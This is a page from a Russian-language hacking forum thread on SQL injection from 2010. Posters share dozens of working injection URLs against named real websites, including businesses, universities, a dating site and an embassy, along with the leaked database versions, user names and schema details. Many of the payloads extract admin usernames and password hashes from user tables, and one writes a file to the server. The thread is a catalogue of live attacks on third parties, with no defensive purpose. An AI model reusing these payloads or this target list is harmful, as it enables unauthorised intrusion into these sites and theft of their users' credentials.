SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. life_glider

    life_glider Member

    Joined:
    13 Apr 2010
    Messages:
    42
    Likes Received:
    25
    Reputations:
    33
    http://www.composeusa.com/news_news_details.php?news_id=-1%20union%20select%201,2,3,concat_ws%280x3a,version%28%29,database%28%29,@@version_compile_os%29,5

    os:redhat-linux-gnu
     
  2. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.informuniversal.ru/show.php?id=-7+union+select+1,2,concat_Ws(0x3a,version(),user(),database(),@@version_compile_os)



    Database Version: 4.0.27-max-log
    Database name: informun
    User name: [email protected]
    Os: freebsd 4.7
     
    1 person likes this.
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.ruraldoc.com.au/content_sub.php?id=-48+union+select+1,2,3,4,5,6

    Version : 4.1.13a-nt

    OS : [​IMG]

    PR-5


    ---------
    http://www.nic.cu/form_det.php?form_id=3+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11

    Version : 5.0.85-log

    OS : [​IMG]


    PR-6


    ----------
    http://www.medicc.org/mediccreview/index.php?issue=&id=99999+/*!UNION*/+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--&a=vp

    Version : 5.1.47

    OS : [​IMG]


    PR-6
     
    _________________________
    #12383 Konqi, 24 Jun 2010
    Last edited: 24 Jun 2010
    3 people like this.
  4. localh0$t

    localh0$t New Member

    Joined:
    23 Jun 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    3
    Code:
    http://www.full-harmony.ru/catalog2.php?id=-20+union+select+1,concat_ws%280x0b,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7%20--
    version : 4.1.25-log
    user : fullhar9_kruser@localhost
    database : fullhar9_kr
     
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.ies-europe.org/event.php?article_id=-219+union+select+1,2,3,4+from+information_schema.tables--

    Version : 5.0.90

    OS : [​IMG]


    PR-5


    -------
    http://www.rbeurope.org/afiseaza.php?id=-26+or(1,1)=(select+count(0),concat((select+concat(email,char(58),password)+from+users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

    Version : 5.0.90

    OS : [​IMG]


    PR-5


    -------
    http://www.jbblegal.lt/image_view.php?img_id=-8694+union+select+1,2&l=en

    Version : 4.0.27-log

    OS : [​IMG]


    PR-5

    --------

    https://www.sloncek.si/index.php?zgm=-2+union+select+1,2,3,4,5,6,7

    Version : 5.0.90-community-log

    OS : [​IMG]


    PR-4
     
    _________________________
    #12385 Konqi, 24 Jun 2010
    Last edited: 24 Jun 2010
    2 people like this.
  6. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    баянов нет
     
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.lecka.si/skupina.php?pid=-11+UniOn+select+null,version(),null,null

    Version : PostgreSQL 8.1.21

    OS :[​IMG]


    PR-5

    --------
    http://www.lifetrek-slovenia.com/en/H2O_activities.php?sub=43&id=-70'+or(1,1)=(select+count(0),concat((select+concat(username,char(58),password)+from+user+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

    Version : 5.0.51

    OS :
    [​IMG]

    PR-4

    --------
    http://www.embavenez-us.org/news.php?nid=-5252+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13

    Version : 4.0.27-standard

    OS : [​IMG]

    --------
    http://www.benayoun.com/projet.php?id=-120+or(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

    Version : 5.0.44-log

    OS :[​IMG]


    PR-5
    ---------
    http://www.leseditionsdeminuit.com/f/index.php?sp=livAut&auteur_id=-1794+union+select+1,2

    Version : 4.1.22

    OS :[​IMG]


    PR-5

    /*columns 1,2 <title></title>*/
    ---------
    http://www.bacfilms.com/fichesalles.php?id=455+and+substring(version(),1,1)=3

    Version : ~3.1

    PR-6
    Тиц-110

    ----------
    http://www.brusa.biz/news/news.php?l_sel=2&idm=4&idk=-9+or(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

    Verson : 5.1.42-log

    OS: [​IMG]


    PR-4

    ---------
    http://www.interversion.org/version.php?params=project.php?id=12&katid=-1+or(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

    Version : 5.0.51a-24+lenny3-log

    OS : [​IMG]


    PR-4
     
    _________________________
    #12387 Konqi, 24 Jun 2010
    Last edited: 25 Jun 2010
  8. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Code:
    http://www.tidoma.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users
    
    http://union-ltd.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.living-redsea.ru/index.php?option=com_properties&task=agentlisting&aid=-91+/*!UNION*/+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://zdesdeshevle.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.tidoma.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.ekspert-realty.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_Ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+exp_users+--+
    
    http://www.galeriahomes.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.adobs.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.interhouse-egypt.com/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+fdhgfdgfgh_users+--+
    
    http://yalta-r.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.sam-house.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://kvartiru-kupipodolsk.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.calabriadreams.com/site/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://kvartiru-kupipodolsk.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.ooo-solnce.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.interzante.gr/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://sam-house.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://domhouse74.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.swissnetwork.ch/realestate/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.domturtsia.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.edub9intl.com/rooftop/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://dallasrehab.biz/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.pocketcasa.biz/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.piramida.crimea.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://prvigroup.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+sqs_users+--+
    
    http://ugniydom.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://monarch-estate.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+josn_users+--+
    
    http://nc-realty.kiev.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://prima-consors.ru/estate/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://yalta-r.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.canariasviptravel.ru/index.php?option=com_properties&task=agentlisting&aid=-91+/*!UNION*/+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.kottege.ru/kottege.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://galeria-homes.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.imoti-vt.com/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://epis-stroi.com/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.seamore.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+where+usertype='Super+Administrator'+--+
    
    http://land-flat.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://www.living-redsea.ru/index.php?option=com_properties&task=agentlisting&aid=-91+/*!UNION*/+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
    http://auto-rezerv.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
    (0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+
    
     
    #12388 .:[melkiy]:., 25 Jun 2010
    Last edited: 25 Jun 2010
    1 person likes this.
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.jbblegal.lt/image_view.php?img_id=-8694+union+select+1,version()&l=en

    Version : 4.0.27-log

    OS : [​IMG]


    PR-5
     
    _________________________
  10. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Немного блинда

    130 тиц, 2 PR
    http://shintop.ru/novosibirsk/catalog_shop.php?action=item&id=1271300943%27+and+substring((select+concat(version(),0x3a,username,0x3a,user_password)+from+f_users+where+username=%27admin%27+limit+0,1),1,1)=5--+
    admin:$H$9...

    --------------------------------------------------------------------------

    6 PR
    http://bot.fiu.edu/index.php?name=athletics'+and+substring(version(),1,1)=4--+
    Error == true;

    --------------------------------------------------------------------------

    275 тиц, 4 PR
    http://www.igb.ru/rus/index.php?id=600&a=profile&uid=15+and+substring((select+version()),1,1)=5
    Раньше было нормально, а сейчас на union select реагирует так, - "Уклонися от зла и сотвори благо".

    --------------------------------------------------------------------------

    220 тиц, 5 PR
    http://www.your-people.ru/pbl.php/(66)and(substring(version(),1,1))=5

    --------------------------------------------------------------------------

    5200 тиц, 6 PR
    http://www.finansmag.ru/blogs/post/(570)and(substring((select(version())),1,1))=5

    --------------------------------------------------------------------------

    90 тиц
    http://www.marnava.ru/tur/(876)and(substring(version(),1,1))=5/*/type/1/cat/13/

    --------------------------------------------------------------------------

    450 тиц, 3 PR
    http://www.soling.ru/news/?id=15+AND+SUBSTRING(select version(),1,1)=4/*

    --------------------------------------------------------------------------

    10 тиц, 7 PR
    http://www.ncver.edu.au/newsevents/news/(issue_226)and(substring((select(version())),1,1))=(5).html

    --------------------------------------------------------------------------

    60 тиц, 2 PR
    http://www.inodetal.ru/parts.php?code=31715+and+substring(concat((select+version()+from+information_schema.columns+limit+0,1),1,1),1,1)=5

    Немного с выводом

    30 тиц, 1 PR
    http://www.citytool.ru/catalogue/akkumulyatornie_udarnie_drelishurupoverti/?vendor_id=-305%27+union+select+1,2,group_concat(table_schema,0x3a,table_name,0x3a,column_name),4+from+information_schema.columns+where+column_name+like+'%pass%'--+
    5.0.45:citytoolsql@localhost:Login_citytool

    --------------------------------------------------------------------------

    30 тиц, 1 PR
    http://www.bighunter.ru/iproducts.php?id=-11027+union+select+1,2,3,4,group_concat(username,0x3a,passwd,0x3a,admin),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+db_grant--+
    5.0.51a:bighunter@localhost:bighunter

    --------------------------------------------------------------------------

    550 тиц, 4 PR
    http://www.dizel-status.ru/electro.php?raz=11&id=-7+union+select+1,2,version(),4,5,6,7--+
    5.0.67-community-logenergo_dizel@localhostenergo_dizel

    --------------------------------------------------------------------------

    100 тиц, 4 PR
    http://www.kopitan.ru/shop/?dir=77-1&pid=-141+union+select+1,2,3,4,5,6,7,concat(user,0x3a,password,0x3a,file_priv,0x3a,host),version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87+from+mysql.user--+
    4.0.27:[email protected]:kopitan

    --------------------------------------------------------------------------

    350 тиц, 5 PR
    http://ftacademy.ru/science/nich/?show=nir&id=6+union+select+1,version(),3,4,5,6,7,8--+
    4.1.22-standard-log:academy_maybug@localhost:academy_site5

    --------------------------------------------------------------------------

    300 тиц, 4 PR
    http://www.baimusic.ru/search/pianosearch.php?minprice=0.029999999329448&maxprice=30740.099609375&keysnum=76&rid=-1+union+select+1,2,3,4,5,6,concat(table_name,0x3a,column_name),8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+column_name+like+0x257061737325--+
    5.0.22-log:p[email protected]:pianoshop

    --------------------------------------------------------------------------

    475 тиц, 3 PR
    http://www.g4rt.ru/game.php?genre_id=21&game_id=-46+union+select+1,version(),3,4,5,6,7,8,9--+
    5.0.90-log:g4rt@localhost:g4rt

    --------------------------------------------------------------------------

    70 тиц, 3 PR
    http://www.u-m-s.ru/tovar.php?id=1440%27+union+select+1,version(),3,4,5,6,7--+
    4.0.26-log:Uwww3689S@localhost:udb3689

    --------------------------------------------------------------------------

    90 тиц, 4 PR
    Dump table in file.
    http://www.poznay-mir.ru/hotel.php?uid=-106+union+select+0x7c2d31303620756e696f6e2073656c65637420312c276861636b6564272c3320696e746f206f757466696c6520272f746d702f616e7469636861742e70687027202d2d207c,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,0x27,0x27--+&resort=76
    5.0.87:[email protected]:poznaymir

    --------------------------------------------------------------------------

    550 тиц, 4 PR
    http://www.dizel-status.ru/electro.php?raz=89&id=-602+union+select+version()--+
    5.0.67-community-log:energo_dizel@localhost:energo_dizel

    --------------------------------------------------------------------------

    110 тиц, 2 PR
    http://www.sb-78.ru/documentation/?tidd=-508+union+select+1,2,group_concat(login,0x3a,pass,0x3a,name,0x3a,access),4,5+from+users--+
    5.0.32-Debian_7etch11-log:sbuser@localhost:Gordeev_main

    --------------------------------------------------------------------------

    5 PR
    http://www.sareg.hacettepe.edu.tr/salih.php?salih=instrumentationsdet&photo=-1+union+select+1,group_concat(table_name,0x3a,column_name),3,4,5,6,7+from+information_schema.columns+where+column_name+like+0x257061737325--+
    5.0.51a-log:[email protected]:sareg

    --------------------------------------------------------------------------

    10 тиц, 5 PR
    http://www.iphils.uj.edu.pl/?l=pl&p=1&r=-27+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15--+
    5.0.37:fil@localhost:philss
     
    4 people like this.
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.aflsportsready.com.au/email/news.asp?id=128+and+substring(version(),1,1)=4

    PR-5
    -------
    http://extra.holyfamily.edu/news/news.asp?id=-603+or+1=(select+top+1+table_name+from+information_schema.tables)

    PR-5
    --------
    http://www.learningmigration.com/comenius/index.php?section=welcome&id=-15+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14--

    PR-6
    --------
    http://www.kulturkompasset.com/index.php?AID=1015&TID=-7+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3--

    PR-5
     
    _________________________
    #12391 Konqi, 25 Jun 2010
    Last edited: 26 Jun 2010
    1 person likes this.
  12. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    911love сайт знакомств

    http://www.911love.ru/?page=news&itm=-53+and+1=2+union+select+1,2,3,4,5,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),7,8,9,10+--

    version : 5.0.22
    user : www911love_main@localhost
    database : www911love_main
    os : redhat-linux-gnu

    http://www.911love.ru/?page=news&itm=-53+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,name,password,email),7,8,9,10+from+911love_dating_user--

    можно ещё поковырять
     
    #12392 AC//DC, 27 Jun 2010
    Last edited: 27 Jun 2010
    2 people like this.
  13. localh0$t

    localh0$t New Member

    Joined:
    23 Jun 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    3
    Code:
    http://www.black-cat.ru/cat/articles.php?id=-56+union+select+concat_ws%280x3a,@@version,user%28%29,database%28%29%29%20--
    

    version : 5.0.82-log
    user: [email protected]
    database: blackcat


    вывод в title
     
    #12393 localh0$t, 27 Jun 2010
    Last edited: 27 Jun 2010
  14. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    Еда!

    www.utep.edu

    http://www.herbalsafety.utep.edu/facts.asp?ID=12+union+select+1,2,3,4,5,6,7,8,9,10,11,121,3,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+msysaccessobjects

    Ms_Access

    PR-8

    тИЦ-140


    -----------
    www.apsu.edu

    http://www.apsu.edu/News/show_news.asp?id=4150+union+select+1,2,3,4,5,6,7+from+msysaccessobjects

    Ms_Access

    PR-6

    тИЦ-50


    -----------
    www.yu.edu

    http://www.einstein.yu.edu/home//news.asp?id=262+or+1=@@version

    MS_SQL

    PR-7

    тИЦ-200
     
    _________________________
    #12394 Konqi, 27 Jun 2010
    Last edited: 27 Jun 2010
    1 person likes this.
  15. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    ама.рф
    Code:
    http://ама.рф/index.php?i=-1+union+select+null,null,null,null,null,null,null,null,null,_nickname,null,_pass,null,_pass2,null+from+web_clients+limit+1+offset+51
    PostgreSQL 8.3.1 on i386-portbld-freebsd6.2, compiled by GCC cc (GCC) 3.4.6 [FreeBSD] 20060305



    имплозия.рф
    Code:
    http://имплозия.рф/drugstores/retphoto.asp?code=-3341+union+select+null,null,@@version,null,null,null,null,null,null,null,null,null,null+from+price
    Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 1)



    динатон.рф
    Code:
    http://динатон.рф/dntprice-999001630'+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8+--+
    user - telegluk@localhost
    database - MusicMain
    version - 5.0.22
     
    #12395 BlackFan, 27 Jun 2010
    Last edited: 27 Jun 2010
    4 people like this.
  16. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Уважаемые хеккеры! Проверяйте найденные вами скули на дубли, это можно сделать здесь: http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=site:forum.antichat.ru {HOST_YOU_SQL}. Не стоит вбивать в гугл вашу скулю целиком, ибо часто скули выложенные тут прокручены через другой файл.
    Только на последней странице(10 постов) дублей 6 штук.
    А те кто ставит репутацию за найденные скули, неполенитесь чекнуть скулю на повтор, стимулируйте хеккеров.
     
    #12396 m0Hze, 27 Jun 2010
    Last edited: 27 Jun 2010
    9 people like this.
  17. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    4.1.20
    Code:
    http://www.venellisport.it/pages/news.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,version()--+
     
  18. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    Ночная зона

    http://nightzone.ru/seasons.php?id=162+union+select+1,2,concat_ws(0x3a,nickname,pass word),4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+admins--

    http://saransk.nightzone.ru/seasons.php?id=48+union+select+1,2,concat _ws(0x3a,nickname,password),4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35, 36,37,38,39,40+from+admins--

    http://belgorod.nightzone.ru/seasons.php?id=66+union+select+1,2,concat_ws(0x3a,nickname, password),4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+admins--

    http://nvrsk.nightzone.ru/seasons.php?id=1+union+select+1,2,concat_ws(0x3a,nick name,password),4,5,6,7,8, 9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+from+admins--

    http://hotkey.nightzone.ru/seasons.php?id=4+union+select+1,2,concat_ ws(0x3a,nickname,password),4,5,6,7,8,9,1 0,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+admins--
     
  19. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    ЛЕНИНГРАДСКАЯ кондитерская фабрика

    http://www.leningradskaja.ru/?sublist=61&news=-12+and+1=2+union+select+1,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),6,7,8,9+--


    version : 5.0.90-community
    user : eningr_dima@localhost
    database : leningr_zefir
    os : unknown-linux-gnu
     
    2 people like this.
  20. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    http://treeofmoney.ru/pour.php?id=-151752+union+select+1,user (),3,version( ),5--

    http://heartmir.ru/write.php?id=-876+union+select+1,version (),3 ,4--

    http://stairsoflove.ru/write.php?id=-123+union+select+1,user( ),3 ,version(),5,6--

    http://moy-snegovik.ru/write.php?id=-123+union+select +1,user(),3,v ersion(),5,6--
     
    2 people like this.
